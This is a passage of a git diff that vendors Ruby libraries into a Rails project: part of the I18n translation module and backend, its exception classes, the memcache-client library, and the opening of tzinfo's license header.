I18n.load_path << 'path/to/locale/en.yml' + def load_path + @@load_path ||= [] + end + + # Sets the load path instance. Custom implementations are expected to + # behave like a Ruby Array. + def load_path=(load_path) + @@load_path = load_path + end + + # Tells the backend to reload translations. Used in situations like the + # Rails development environment. Backends can implement whatever strategy + # is useful. + def reload! + backend.reload! + end + + # Translates, pluralizes and interpolates a given key using a given locale, + # scope, and default, as well as interpolation values. + # + # *LOOKUP* + # + # Translation data is organized as a nested hash using the upper-level keys + # as namespaces. E.g., ActionView ships with the translation: + # :date => {:formats => {:short => "%b %d"}}. + # + # Translations can be looked up at any level of this hash using the key argument + # and the scope option. E.g., in this example I18n.t :date + # returns the whole translations hash {:formats => {:short => "%b %d"}}. + # + # Key can be either a single key or a dot-separated key (both Strings and Symbols + # work). E.g., the short format can be looked up using both: + # I18n.t 'date.formats.short' + # I18n.t :'date.formats.short' + # + # Scope can be either a single key, a dot-separated key or an array of keys + # or dot-separated keys. Keys and scopes can be combined freely. So these + # examples will all look up the same short date format: + # I18n.t 'date.formats.short' + # I18n.t 'formats.short', :scope => 'date' + # I18n.t 'short', :scope => 'date.formats' + # I18n.t 'short', :scope => %w(date formats) + # + # *INTERPOLATION* + # + # Translations can contain interpolation variables which will be replaced by + # values passed to #translate as part of the options hash, with the keys matching + # the interpolation variable names. + # + # E.g., with a translation :foo => "foo {{bar}}" the option + # value for the key +bar+ will be interpolated into the translation: + # I18n.t :foo, :bar => 'baz' # => 'foo baz' + # + # *PLURALIZATION* + # + # Translation data can contain pluralized translations. Pluralized translations + # are arrays of singluar/plural versions of translations like ['Foo', 'Foos']. + # + # Note that I18n::Backend::Simple only supports an algorithm for English + # pluralization rules. Other algorithms can be supported by custom backends. + # + # This returns the singular version of a pluralized translation: + # I18n.t :foo, :count => 1 # => 'Foo' + # + # These both return the plural version of a pluralized translation: + # I18n.t :foo, :count => 0 # => 'Foos' + # I18n.t :foo, :count => 2 # => 'Foos' + # + # The :count option can be used both for pluralization and interpolation. + # E.g., with the translation + # :foo => ['{{count}} foo', '{{count}} foos'], count will + # be interpolated to the pluralized translation: + # I18n.t :foo, :count => 1 # => '1 foo' + # + # *DEFAULTS* + # + # This returns the translation for :foo or default if no translation was found: + # I18n.t :foo, :default => 'default' + # + # This returns the translation for :foo or the translation for :bar if no + # translation for :foo was found: + # I18n.t :foo, :default => :bar + # + # Returns the translation for :foo or the translation for :bar + # or default if no translations for :foo and :bar were found. + # I18n.t :foo, :default => [:bar, 'default'] + # + # BULK LOOKUP + # + # This returns an array with the translations for :foo and :bar. + # I18n.t [:foo, :bar] + # + # Can be used with dot-separated nested keys: + # I18n.t [:'baz.foo', :'baz.bar'] + # + # Which is the same as using a scope option: + # I18n.t [:foo, :bar], :scope => :baz + def translate(key, options = {}) + locale = options.delete(:locale) || I18n.locale + backend.translate(locale, key, options) + rescue I18n::ArgumentError => e + raise e if options[:raise] + send(@@exception_handler, e, locale, key, options) + end + alias :t :translate + + # Localizes certain objects, such as dates and numbers to local formatting. + def localize(object, options = {}) + locale = options[:locale] || I18n.locale + format = options[:format] || :default + backend.localize(locale, object, format) + end + alias :l :localize + + protected + # Handles exceptions raised in the backend. All exceptions except for + # MissingTranslationData exceptions are re-raised. When a MissingTranslationData + # was caught and the option :raise is not set the handler returns an error + # message string containing the key/scope. + def default_exception_handler(exception, locale, key, options) + return exception.message if MissingTranslationData === exception + raise exception + end + + # Merges the given locale, key and scope into a single array of keys. + # Splits keys that contain dots into multiple keys. Makes sure all + # keys are Symbols. + def normalize_translation_keys(locale, key, scope) + keys = [locale] + Array(scope) + [key] + keys = keys.map { |k| k.to_s.split(/\./) } + keys.flatten.map { |k| k.to_sym } + end + end +end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb new file mode 100644 index 00000000..bdda55d3 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb @@ -0,0 +1,216 @@ +require 'yaml' + +module I18n + module Backend + class Simple + INTERPOLATION_RESERVED_KEYS = %w(scope default) + MATCH = /(\\\\)?\{\{([^\}]+)\}\}/ + + # Accepts a list of paths to translation files. Loads translations from + # plain Ruby (*.rb) or YAML files (*.yml). See #load_rb and #load_yml + # for details. + def load_translations(*filenames) + filenames.each { |filename| load_file(filename) } + end + + # Stores translations for the given locale in memory. + # This uses a deep merge for the translations hash, so existing + # translations will be overwritten by new ones only at the deepest + # level of the hash. + def store_translations(locale, data) + merge_translations(locale, data) + end + + def translate(locale, key, options = {}) + raise InvalidLocale.new(locale) if locale.nil? + return key.map { |k| translate(locale, k, options) } if key.is_a? Array + + reserved = :scope, :default + count, scope, default = options.values_at(:count, *reserved) + options.delete(:default) + values = options.reject { |name, value| reserved.include?(name) } + + entry = lookup(locale, key, scope) + if entry.nil? + entry = default(locale, default, options) + if entry.nil? + raise(I18n::MissingTranslationData.new(locale, key, options)) + end + end + entry = pluralize(locale, entry, count) + entry = interpolate(locale, entry, values) + entry + end + + # Acts the same as +strftime+, but returns a localized version of the + # formatted date string. Takes a key from the date/time formats + # translations as a format argument (e.g., :short in :'date.formats'). + def localize(locale, object, format = :default) + raise ArgumentError, "Object must be a Date, DateTime or Time object. #{object.inspect} given." unless object.respond_to?(:strftime) + + type = object.respond_to?(:sec) ? 'time' : 'date' + # TODO only translate these if format is a String? + formats = translate(locale, :"#{type}.formats") + format = formats[format.to_sym] if formats && formats[format.to_sym] + # TODO raise exception unless format found? + format = format.to_s.dup + + # TODO only translate these if the format string is actually present + # TODO check which format strings are present, then bulk translate then, then replace them + format.gsub!(/%a/, translate(locale, :"date.abbr_day_names")[object.wday]) + format.gsub!(/%A/, translate(locale, :"date.day_names")[object.wday]) + format.gsub!(/%b/, translate(locale, :"date.abbr_month_names")[object.mon]) + format.gsub!(/%B/, translate(locale, :"date.month_names")[object.mon]) + format.gsub!(/%p/, translate(locale, :"time.#{object.hour < 12 ? :am : :pm}")) if object.respond_to? :hour + object.strftime(format) + end + + def initialized? + @initialized ||= false + end + + def reload! + @initialized = false + @translations = nil + end + + protected + def init_translations + load_translations(*I18n.load_path) + @initialized = true + end + + def translations + @translations ||= {} + end + + # Looks up a translation from the translations hash. Returns nil if + # eiher key is nil, or locale, scope or key do not exist as a key in the + # nested translations hash. Splits keys or scopes containing dots + # into multiple keys, i.e. currency.format is regarded the same as + # %w(currency format). + def lookup(locale, key, scope = []) + return unless key + init_translations unless initialized? + keys = I18n.send(:normalize_translation_keys, locale, key, scope) + keys.inject(translations) do |result, k| + if (x = result[k.to_sym]).nil? + return nil + else + x + end + end + end + + # Evaluates a default translation. + # If the given default is a String it is used literally. If it is a Symbol + # it will be translated with the given options. If it is an Array the first + # translation yielded will be returned. + # + # I.e., default(locale, [:foo, 'default']) will return +default+ if + # translate(locale, :foo) does not yield a result. + def default(locale, default, options = {}) + case default + when String then default + when Symbol then translate locale, default, options + when Array then default.each do |obj| + result = default(locale, obj, options.dup) and return result + end and nil + end + rescue MissingTranslationData + nil + end + + # Picks a translation from an array according to English pluralization + # rules. It will pick the first translation if count is not equal to 1 + # and the second translation if it is equal to 1. Other backends can + # implement more flexible or complex pluralization rules. + def pluralize(locale, entry, count) + return entry unless entry.is_a?(Hash) and count + # raise InvalidPluralizationData.new(entry, count) unless entry.is_a?(Hash) + key = :zero if count == 0 && entry.has_key?(:zero) + key ||= count == 1 ? :one : :other + raise InvalidPluralizationData.new(entry, count) unless entry.has_key?(key) + entry[key] + end + + # Interpolates values into a given string. + # + # interpolate "file {{file}} opened by \\{{user}}", :file => 'test.txt', :user => 'Mr. X' + # # => "file test.txt opened by {{user}}" + # + # Note that you have to double escape the \\ when you want to escape + # the {{...}} key in a string (once for the string and once for the + # interpolation). + def interpolate(locale, string, values = {}) + return string unless string.is_a?(String) + + if string.respond_to?(:force_encoding) + original_encoding = string.encoding + string.force_encoding(Encoding::BINARY) + end + + result = string.gsub(MATCH) do + escaped, pattern, key = $1, $2, $2.to_sym + + if escaped + pattern + elsif INTERPOLATION_RESERVED_KEYS.include?(pattern) + raise ReservedInterpolationKey.new(pattern, string) + elsif !values.include?(key) + raise MissingInterpolationArgument.new(pattern, string) + else + values[key].to_s + end + end + + result.force_encoding(original_encoding) if original_encoding + result + end + + # Loads a single translations file by delegating to #load_rb or + # #load_yml depending on the file extension and directly merges the + # data to the existing translations. Raises I18n::UnknownFileType + # for all other file extensions. + def load_file(filename) + type = File.extname(filename).tr('.', '').downcase + raise UnknownFileType.new(type, filename) unless respond_to?(:"load_#{type}") + data = send :"load_#{type}", filename # TODO raise a meaningful exception if this does not yield a Hash + data.each { |locale, d| merge_translations(locale, d) } + end + + # Loads a plain Ruby translations file. eval'ing the file must yield + # a Hash containing translation data with locales as toplevel keys. + def load_rb(filename) + eval(IO.read(filename), binding, filename) + end + + # Loads a YAML translations file. The data must have locales as + # toplevel keys. + def load_yml(filename) + YAML::load(IO.read(filename)) + end + + # Deep merges the given translations hash with the existing translations + # for the given locale + def merge_translations(locale, data) + locale = locale.to_sym + translations[locale] ||= {} + data = deep_symbolize_keys(data) + + # deep_merge by Stefan Rusterholz, see http://www.ruby-forum.com/topic/142809 + merger = proc { |key, v1, v2| Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2 } + translations[locale].merge!(data, &merger) + end + + # Return a new hash with all keys and nested keys converted to symbols. + def deep_symbolize_keys(hash) + hash.inject({}) { |result, (key, value)| + value = deep_symbolize_keys(value) if value.is_a? Hash + result[(key.to_sym rescue key) || key] = value + result + } + end + end + end +end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb new file mode 100644 index 00000000..0f3eff10 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb @@ -0,0 +1,53 @@ +module I18n + class ArgumentError < ::ArgumentError; end + + class InvalidLocale < ArgumentError + attr_reader :locale + def initialize(locale) + @locale = locale + super "#{locale.inspect} is not a valid locale" + end + end + + class MissingTranslationData < ArgumentError + attr_reader :locale, :key, :options + def initialize(locale, key, options) + @key, @locale, @options = key, locale, options + keys = I18n.send(:normalize_translation_keys, locale, key, options[:scope]) + keys << 'no key' if keys.size < 2 + super "translation missing: #{keys.join(', ')}" + end + end + + class InvalidPluralizationData < ArgumentError + attr_reader :entry, :count + def initialize(entry, count) + @entry, @count = entry, count + super "translation data #{entry.inspect} can not be used with :count => #{count}" + end + end + + class MissingInterpolationArgument < ArgumentError + attr_reader :key, :string + def initialize(key, string) + @key, @string = key, string + super "interpolation argument #{key} missing in #{string.inspect}" + end + end + + class ReservedInterpolationKey < ArgumentError + attr_reader :key, :string + def initialize(key, string) + @key, @string = key, string + super "reserved key #{key.inspect} used in #{string.inspect}" + end + end + + class UnknownFileType < ArgumentError + attr_reader :type, :filename + def initialize(type, filename) + @type, @filename = type, filename + super "can not load translations from #{filename}, the file type #{type} is not known" + end + end +end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.5.1/memcache.rb b/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.5.1/memcache.rb new file mode 100644 index 00000000..99c9af03 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.5.1/memcache.rb @@ -0,0 +1,849 @@ +# All original code copyright 2005, 2006, 2007 Bob Cottrell, Eric Hodel, +# The Robot Co-op. All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. Neither the names of the authors nor the names of their contributors +# may be used to endorse or promote products derived from this software +# without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS +# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, +# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT +# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR +# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE +# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, +# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +require 'socket' +require 'thread' +require 'timeout' +require 'rubygems' + +class String + + ## + # Uses the ITU-T polynomial in the CRC32 algorithm. + + def crc32_ITU_T + n = length + r = 0xFFFFFFFF + + n.times do |i| + r ^= self[i] + 8.times do + if (r & 1) != 0 then + r = (r>>1) ^ 0xEDB88320 + else + r >>= 1 + end + end + end + + r ^ 0xFFFFFFFF + end + +end + +## +# A Ruby client library for memcached. +# +# This is intended to provide access to basic memcached functionality. It +# does not attempt to be complete implementation of the entire API, but it is +# approaching a complete implementation. + +class MemCache + + ## + # The version of MemCache you are using. + + VERSION = '1.5.0' + + ## + # Default options for the cache object. + + DEFAULT_OPTIONS = { + :namespace => nil, + :readonly => false, + :multithread => false, + } + + ## + # Default memcached port. + + DEFAULT_PORT = 11211 + + ## + # Default memcached server weight. + + DEFAULT_WEIGHT = 1 + + ## + # The amount of time to wait for a response from a memcached server. If a + # response is not completed within this time, the connection to the server + # will be closed and an error will be raised. + + attr_accessor :request_timeout + + ## + # The namespace for this instance + + attr_reader :namespace + + ## + # The multithread setting for this instance + + attr_reader :multithread + + ## + # The servers this client talks to. Play at your own peril. + + attr_reader :servers + + ## + # Accepts a list of +servers+ and a list of +opts+. +servers+ may be + # omitted. See +servers=+ for acceptable server list arguments. + # + # Valid options for +opts+ are: + # + # [:namespace] Prepends this value to all keys added or retrieved. + # [:readonly] Raises an exception on cache writes when true. + # [:multithread] Wraps cache access in a Mutex for thread safety. + # + # Other options are ignored. + + def initialize(*args) + servers = [] + opts = {} + + case args.length + when 0 then # NOP + when 1 then + arg = args.shift + case arg + when Hash then opts = arg + when Array then servers = arg + when String then servers = [arg] + else raise ArgumentError, 'first argument must be Array, Hash or String' + end + when 2 then + servers, opts = args + else + raise ArgumentError, "wrong number of arguments (#{args.length} for 2)" + end + + opts = DEFAULT_OPTIONS.merge opts + @namespace = opts[:namespace] + @readonly = opts[:readonly] + @multithread = opts[:multithread] + @mutex = Mutex.new if @multithread + @buckets = [] + self.servers = servers + end + + ## + # Returns a string representation of the cache object. + + def inspect + "" % + [@servers.length, @buckets.length, @namespace, @readonly] + end + + ## + # Returns whether there is at least one active server for the object. + + def active? + not @servers.empty? + end + + ## + # Returns whether or not the cache object was created read only. + + def readonly? + @readonly + end + + ## + # Set the servers that the requests will be distributed between. Entries + # can be either strings of the form "hostname:port" or + # "hostname:port:weight" or MemCache::Server objects. + + def servers=(servers) + # Create the server objects. + @servers = servers.collect do |server| + case server + when String + host, port, weight = server.split ':', 3 + port ||= DEFAULT_PORT + weight ||= DEFAULT_WEIGHT + Server.new self, host, port, weight + when Server + if server.memcache.multithread != @multithread then + raise ArgumentError, "can't mix threaded and non-threaded servers" + end + server + else + raise TypeError, "cannot convert #{server.class} into MemCache::Server" + end + end + + # Create an array of server buckets for weight selection of servers. + @buckets = [] + @servers.each do |server| + server.weight.times { @buckets.push(server) } + end + end + + ## + # Decrements the value for +key+ by +amount+ and returns the new value. + # +key+ must already exist. If +key+ is not an integer, it is assumed to be + # 0. +key+ can not be decremented below 0. + + def decr(key, amount = 1) + server, cache_key = request_setup key + + if @multithread then + threadsafe_cache_decr server, cache_key, amount + else + cache_decr server, cache_key, amount + end + rescue TypeError, SocketError, SystemCallError, IOError => err + handle_error server, err + end + + ## + # Retrieves +key+ from memcache. If +raw+ is false, the value will be + # unmarshalled. + + def get(key, raw = false) + server, cache_key = request_setup key + + value = if @multithread then + threadsafe_cache_get server, cache_key + else + cache_get server, cache_key + end + + return nil if value.nil? + + value = Marshal.load value unless raw + + return value + rescue TypeError, SocketError, SystemCallError, IOError => err + handle_error server, err + end + + ## + # Retrieves multiple values from memcached in parallel, if possible. + # + # The memcached protocol supports the ability to retrieve multiple + # keys in a single request. Pass in an array of keys to this method + # and it will: + # + # 1. map the key to the appropriate memcached server + # 2. send a single request to each server that has one or more key values + # + # Returns a hash of values. + # + # cache["a"] = 1 + # cache["b"] = 2 + # cache.get_multi "a", "b" # => { "a" => 1, "b" => 2 } + + def get_multi(*keys) + raise MemCacheError, 'No active servers' unless active? + + keys.flatten! + key_count = keys.length + cache_keys = {} + server_keys = Hash.new { |h,k| h[k] = [] } + + # map keys to servers + keys.each do |key| + server, cache_key = request_setup key + cache_keys[cache_key] = key + server_keys[server] << cache_key + end + + results = {} + + server_keys.each do |server, keys_for_server| + keys_for_server = keys_for_server.join ' ' + values = if @multithread then + threadsafe_cache_get_multi server, keys_for_server + else + cache_get_multi server, keys_for_server + end + values.each do |key, value| + results[cache_keys[key]] = Marshal.load value + end + end + + return results + rescue TypeError, SocketError, SystemCallError, IOError => err + handle_error server, err + end + + ## + # Increments the value for +key+ by +amount+ and retruns the new value. + # +key+ must already exist. If +key+ is not an integer, it is assumed to be + # 0. + + def incr(key, amount = 1) + server, cache_key = request_setup key + + if @multithread then + threadsafe_cache_incr server, cache_key, amount + else + cache_incr server, cache_key, amount + end + rescue TypeError, SocketError, SystemCallError, IOError => err + handle_error server, err + end + + ## + # Add +key+ to the cache with value +value+ that expires in +expiry+ + # seconds. If +raw+ is true, +value+ will not be Marshalled. + # + # Warning: Readers should not call this method in the event of a cache miss; + # see MemCache#add. + + def set(key, value, expiry = 0, raw = false) + raise MemCacheError, "Update of readonly cache" if @readonly + server, cache_key = request_setup key + socket = server.socket + + value = Marshal.dump value unless raw + command = "set #{cache_key} 0 #{expiry} #{value.size}\r\n#{value}\r\n" + + begin + @mutex.lock if @multithread + socket.write command + result = socket.gets + raise_on_error_response! result + result + rescue SocketError, SystemCallError, IOError => err + server.close + raise MemCacheError, err.message + ensure + @mutex.unlock if @multithread + end + end + + ## + # Add +key+ to the cache with value +value+ that expires in +expiry+ + # seconds, but only if +key+ does not already exist in the cache. + # If +raw+ is true, +value+ will not be Marshalled. + # + # Readers should call this method in the event of a cache miss, not + # MemCache#set or MemCache#[]=. + + def add(key, value, expiry = 0, raw = false) + raise MemCacheError, "Update of readonly cache" if @readonly + server, cache_key = request_setup key + socket = server.socket + + value = Marshal.dump value unless raw + command = "add #{cache_key} 0 #{expiry} #{value.size}\r\n#{value}\r\n" + + begin + @mutex.lock if @multithread + socket.write command + result = socket.gets + raise_on_error_response! result + result + rescue SocketError, SystemCallError, IOError => err + server.close + raise MemCacheError, err.message + ensure + @mutex.unlock if @multithread + end + end + + ## + # Removes +key+ from the cache in +expiry+ seconds. + + def delete(key, expiry = 0) + @mutex.lock if @multithread + + raise MemCacheError, "No active servers" unless active? + cache_key = make_cache_key key + server = get_server_for_key cache_key + + sock = server.socket + raise MemCacheError, "No connection to server" if sock.nil? + + begin + sock.write "delete #{cache_key} #{expiry}\r\n" + result = sock.gets + raise_on_error_response! result + result + rescue SocketError, SystemCallError, IOError => err + server.close + raise MemCacheError, err.message + end + ensure + @mutex.unlock if @multithread + end + + ## + # Flush the cache from all memcache servers. + + def flush_all + raise MemCacheError, 'No active servers' unless active? + raise MemCacheError, "Update of readonly cache" if @readonly + begin + @mutex.lock if @multithread + @servers.each do |server| + begin + sock = server.socket + raise MemCacheError, "No connection to server" if sock.nil? + sock.write "flush_all\r\n" + result = sock.gets + raise_on_error_response! result + result + rescue SocketError, SystemCallError, IOError => err + server.close + raise MemCacheError, err.message + end + end + ensure + @mutex.unlock if @multithread + end + end + + ## + # Reset the connection to all memcache servers. This should be called if + # there is a problem with a cache lookup that might have left the connection + # in a corrupted state. + + def reset + @servers.each { |server| server.close } + end + + ## + # Returns statistics for each memcached server. An explanation of the + # statistics can be found in the memcached docs: + # + # http://code.sixapart.com/svn/memcached/trunk/server/doc/protocol.txt + # + # Example: + # + # >> pp CACHE.stats + # {"localhost:11211"=> + # {"bytes"=>4718, + # "pid"=>20188, + # "connection_structures"=>4, + # "time"=>1162278121, + # "pointer_size"=>32, + # "limit_maxbytes"=>67108864, + # "cmd_get"=>14532, + # "version"=>"1.2.0", + # "bytes_written"=>432583, + # "cmd_set"=>32, + # "get_misses"=>0, + # "total_connections"=>19, + # "curr_connections"=>3, + # "curr_items"=>4, + # "uptime"=>1557, + # "get_hits"=>14532, + # "total_items"=>32, + # "rusage_system"=>0.313952, + # "rusage_user"=>0.119981, + # "bytes_read"=>190619}} + # => nil + + def stats + raise MemCacheError, "No active servers" unless active? + server_stats = {} + + @servers.each do |server| + sock = server.socket + raise MemCacheError, "No connection to server" if sock.nil? + + value = nil + begin + sock.write "stats\r\n" + stats = {} + while line = sock.gets do + raise_on_error_response! line + break if line == "END\r\n" + if line =~ /\ASTAT ([\w]+) ([\w\.\:]+)/ then + name, value = $1, $2 + stats[name] = case name + when 'version' + value + when 'rusage_user', 'rusage_system' then + seconds, microseconds = value.split(/:/, 2) + microseconds ||= 0 + Float(seconds) + (Float(microseconds) / 1_000_000) + else + if value =~ /\A\d+\Z/ then + value.to_i + else + value + end + end + end + end + server_stats["#{server.host}:#{server.port}"] = stats + rescue SocketError, SystemCallError, IOError => err + server.close + raise MemCacheError, err.message + end + end + + server_stats + end + + ## + # Shortcut to get a value from the cache. + + alias [] get + + ## + # Shortcut to save a value in the cache. This method does not set an + # expiration on the entry. Use set to specify an explicit expiry. + + def []=(key, value) + set key, value + end + + protected + + ## + # Create a key for the cache, incorporating the namespace qualifier if + # requested. + + def make_cache_key(key) + if namespace.nil? then + key + else + "#{@namespace}:#{key}" + end + end + + ## + # Pick a server to handle the request based on a hash of the key. + + def get_server_for_key(key) + raise ArgumentError, "illegal character in key #{key.inspect}" if + key =~ /\s/ + raise ArgumentError, "key too long #{key.inspect}" if key.length > 250 + raise MemCacheError, "No servers available" if @servers.empty? + return @servers.first if @servers.length == 1 + + hkey = hash_for key + + 20.times do |try| + server = @buckets[hkey % @buckets.nitems] + return server if server.alive? + hkey += hash_for "#{try}#{key}" + end + + raise MemCacheError, "No servers available" + end + + ## + # Returns an interoperable hash value for +key+. (I think, docs are + # sketchy for down servers). + + def hash_for(key) + (key.crc32_ITU_T >> 16) & 0x7fff + end + + ## + # Performs a raw decr for +cache_key+ from +server+. Returns nil if not + # found. + + def cache_decr(server, cache_key, amount) + socket = server.socket + socket.write "decr #{cache_key} #{amount}\r\n" + text = socket.gets + raise_on_error_response! text + return nil if text == "NOT_FOUND\r\n" + return text.to_i + end + + ## + # Fetches the raw data for +cache_key+ from +server+. Returns nil on cache + # miss. + + def cache_get(server, cache_key) + socket = server.socket + socket.write "get #{cache_key}\r\n" + keyline = socket.gets # "VALUE \r\n" + + if keyline.nil? then + server.close + raise MemCacheError, "lost connection to #{server.host}:#{server.port}" + end + + raise_on_error_response! keyline + return nil if keyline == "END\r\n" + + unless keyline =~ /(\d+)\r/ then + server.close + raise MemCacheError, "unexpected response #{keyline.inspect}" + end + value = socket.read $1.to_i + socket.read 2 # "\r\n" + socket.gets # "END\r\n" + return value + end + + ## + # Fetches +cache_keys+ from +server+ using a multi-get. + + def cache_get_multi(server, cache_keys) + values = {} + socket = server.socket + socket.write "get #{cache_keys}\r\n" + + while keyline = socket.gets do + return values if keyline == "END\r\n" + raise_on_error_response! keyline + + unless keyline =~ /\AVALUE (.+) (.+) (.+)/ then + server.close + raise MemCacheError, "unexpected response #{keyline.inspect}" + end + + key, data_length = $1, $3 + values[$1] = socket.read data_length.to_i + socket.read(2) # "\r\n" + end + + server.close + raise MemCacheError, "lost connection to #{server.host}:#{server.port}" + end + + ## + # Performs a raw incr for +cache_key+ from +server+. Returns nil if not + # found. + + def cache_incr(server, cache_key, amount) + socket = server.socket + socket.write "incr #{cache_key} #{amount}\r\n" + text = socket.gets + raise_on_error_response! text + return nil if text == "NOT_FOUND\r\n" + return text.to_i + end + + ## + # Handles +error+ from +server+. + + def handle_error(server, error) + server.close if server + new_error = MemCacheError.new error.message + new_error.set_backtrace error.backtrace + raise new_error + end + + ## + # Performs setup for making a request with +key+ from memcached. Returns + # the server to fetch the key from and the complete key to use. + + def request_setup(key) + raise MemCacheError, 'No active servers' unless active? + cache_key = make_cache_key key + server = get_server_for_key cache_key + raise MemCacheError, 'No connection to server' if server.socket.nil? + return server, cache_key + end + + def threadsafe_cache_decr(server, cache_key, amount) # :nodoc: + @mutex.lock + cache_decr server, cache_key, amount + ensure + @mutex.unlock + end + + def threadsafe_cache_get(server, cache_key) # :nodoc: + @mutex.lock + cache_get server, cache_key + ensure + @mutex.unlock + end + + def threadsafe_cache_get_multi(socket, cache_keys) # :nodoc: + @mutex.lock + cache_get_multi socket, cache_keys + ensure + @mutex.unlock + end + + def threadsafe_cache_incr(server, cache_key, amount) # :nodoc: + @mutex.lock + cache_incr server, cache_key, amount + ensure + @mutex.unlock + end + + def raise_on_error_response!(response) + if response =~ /\A(?:CLIENT_|SERVER_)?ERROR (.*)/ + raise MemCacheError, $1.strip + end + end + + + ## + # This class represents a memcached server instance. + + class Server + + ## + # The amount of time to wait to establish a connection with a memcached + # server. If a connection cannot be established within this time limit, + # the server will be marked as down. + + CONNECT_TIMEOUT = 0.25 + + ## + # The amount of time to wait before attempting to re-establish a + # connection with a server that is marked dead. + + RETRY_DELAY = 30.0 + + ## + # The host the memcached server is running on. + + attr_reader :host + + ## + # The port the memcached server is listening on. + + attr_reader :port + + ## + # The weight given to the server. + + attr_reader :weight + + ## + # The time of next retry if the connection is dead. + + attr_reader :retry + + ## + # A text status string describing the state of the server. + + attr_reader :status + + ## + # Create a new MemCache::Server object for the memcached instance + # listening on the given host and port, weighted by the given weight. + + def initialize(memcache, host, port = DEFAULT_PORT, weight = DEFAULT_WEIGHT) + raise ArgumentError, "No host specified" if host.nil? or host.empty? + raise ArgumentError, "No port specified" if port.nil? or port.to_i.zero? + + @memcache = memcache + @host = host + @port = port.to_i + @weight = weight.to_i + + @multithread = @memcache.multithread + @mutex = Mutex.new + + @sock = nil + @retry = nil + @status = 'NOT CONNECTED' + end + + ## + # Return a string representation of the server object. + + def inspect + "" % [@host, @port, @weight, @status] + end + + ## + # Check whether the server connection is alive. This will cause the + # socket to attempt to connect if it isn't already connected and or if + # the server was previously marked as down and the retry time has + # been exceeded. + + def alive? + !!socket + end + + ## + # Try to connect to the memcached server targeted by this object. + # Returns the connected socket object on success or nil on failure. + + def socket + @mutex.lock if @multithread + return @sock if @sock and not @sock.closed? + + @sock = nil + + # If the host was dead, don't retry for a while. + return if @retry and @retry > Time.now + + # Attempt to connect if not already connected. + begin + @sock = timeout CONNECT_TIMEOUT do + TCPSocket.new @host, @port + end + if Socket.constants.include? 'TCP_NODELAY' then + @sock.setsockopt Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1 + end + @retry = nil + @status = 'CONNECTED' + rescue SocketError, SystemCallError, IOError, Timeout::Error => err + mark_dead err.message + end + + return @sock + ensure + @mutex.unlock if @multithread + end + + ## + # Close the connection to the memcached server targeted by this + # object. The server is not considered dead. + + def close + @mutex.lock if @multithread + @sock.close if @sock && !@sock.closed? + @sock = nil + @retry = nil + @status = "NOT CONNECTED" + ensure + @mutex.unlock if @multithread + end + + private + + ## + # Mark the server as dead and close its socket. + + def mark_dead(reason = "Unknown error") + @sock.close if @sock && !@sock.closed? + @sock = nil + @retry = Time.now + RETRY_DELAY + + @status = sprintf "DEAD: %s, will retry at %s", reason, @retry + end + end + + ## + # Base MemCache exception class. + + class MemCacheError < RuntimeError; end + +end + diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo.rb new file mode 100644 index 00000000..c8bdbeec --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo.rb @@ -0,0 +1,33 @@ +#-- +# Copyright (c) 2005-2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +# Add the 